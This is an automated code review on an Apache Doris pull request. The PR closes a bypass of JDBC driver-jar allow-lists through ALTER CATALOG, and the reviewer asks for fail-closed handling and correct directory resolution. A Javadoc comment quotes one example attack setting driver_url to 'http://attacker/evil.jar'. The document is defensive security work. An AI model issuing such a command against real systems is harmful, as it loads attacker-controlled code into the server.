github-actions[bot] commented on code in PR #66483:
URL: https://github.com/apache/doris/pull/66483#discussion_r3840558008
##########
fe/fe-core/src/main/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalog.java:
##########
@@ -265,6 +267,33 @@ private void checkHiveParquetTimeZone(CatalogProperty
property) throws DdlExcept
}
}
+ /**
+ * Applies the operator's driver-jar gate ({@code jdbc_driver_secure_path}
/
+ * {@code jdbc_driver_url_white_list}) to every driver_url the connector
says these properties would
+ * make it load into the FE JVM.
+ *
+ * <p>On CREATE the same gate is applied by the connector's {@code
preCreateValidation} (through
+ * {@link
org.apache.doris.connector.DefaultConnectorValidationContext#validateAndResolveDriverPath}),
+ * which ALTER CATALOG never reaches — it validates through {@code
validatePropertiesBeforeUpdate}
+ * alone. Without this call an operator who restricts {@code
jdbc_driver_secure_path} would have that
+ * restriction enforced at CREATE and then bypassed by a follow-up
+ * {@code ALTER CATALOG ... SET PROPERTIES("driver_url" =
"http://attacker/evil.jar";)}, which
+ * {@code resetToUninitialized} makes effective on the next metadata
access.
+ *
+ * <p>Deliberately NOT applied on replay: this runs from the {@code
!isReplay} ALTER path only, so an
+ * existing catalog whose driver_url predates a since-tightened allow-list
keeps loading and FE
+ * startup / follower replay can never be blocked by it.
+ */
+ private void checkDriverUrlsAgainstOperatorGate(Map<String, String>
candidate) throws DdlException {
+ for (String driverUrl :
ConnectorFactory.driverUrlsToValidate(getType(), candidate)) {
+ try {
+ JdbcResource.getFullDriverUrl(driverUrl);
Review Comment:
[P1] Validate bare names using the connector's resolution context.
`driverUrlsToValidate` returns raw values, but this call resolves a bare jar
through global `Config.jdbc_drivers_dir` and can throw if it is absent there.
JDBC, Iceberg, and Paimon loaders instead prefer their plugin-specific
`<name>.conf` `drivers_dir`. Thus a persisted catalog with `driver_url=d.jar`
and the jar only in its supported plugin directory now fails even an unrelated
`ALTER CATALOG`, although lazy initialization can resolve and load it. Please
avoid global filesystem resolution for a mandatory-rule-approved bare name, or
pass the connector-resolved path/context to the engine gate; cover this with a
real provider using a custom `drivers_dir`.
##########
fe/fe-core/src/main/java/org/apache/doris/connector/ConnectorPluginManager.java:
##########
@@ -518,6 +518,19 @@ public void validatePropertiesForUpdate(String catalogType,
}
}
+ /**
+ * The driver jar URLs the matching provider would load for {@code
properties}. Empty when no provider
+ * matches or the connector loads no driver jar.
+ */
+ public List<String> driverUrlsToValidate(String catalogType, Map<String,
String> properties) {
+ for (ConnectorProvider provider : providers) {
+ if (provider.supports(catalogType, properties)) {
+ return provider.driverUrlsToValidate(properties);
+ }
+ }
+ return Collections.emptyList();
Review Comment:
[P1] Fail closed when no connector provider matches. Returning an empty list
here conflates a matching provider that loads no jar with a replay-created
degraded catalog whose provider is absent or API-rejected. In that supported
degraded state, `validatePropertiesForUpdate` also falls through, so an
interactive `ALTER CATALOG` can journal an unchecked `driver_url`; after an
API-7 provider is restored and FE restarts, replay skips validation and lazy
initialization hands that persisted value to the JDBC/Iceberg/Paimon driver
loader. Please distinguish provider absence from an empty declaration and
reject interactive ALTER until a compatible provider is installed, while
keeping replay permissive.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: [email protected]
For queries about this service, please contact Infrastructure at:
[email protected]
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]
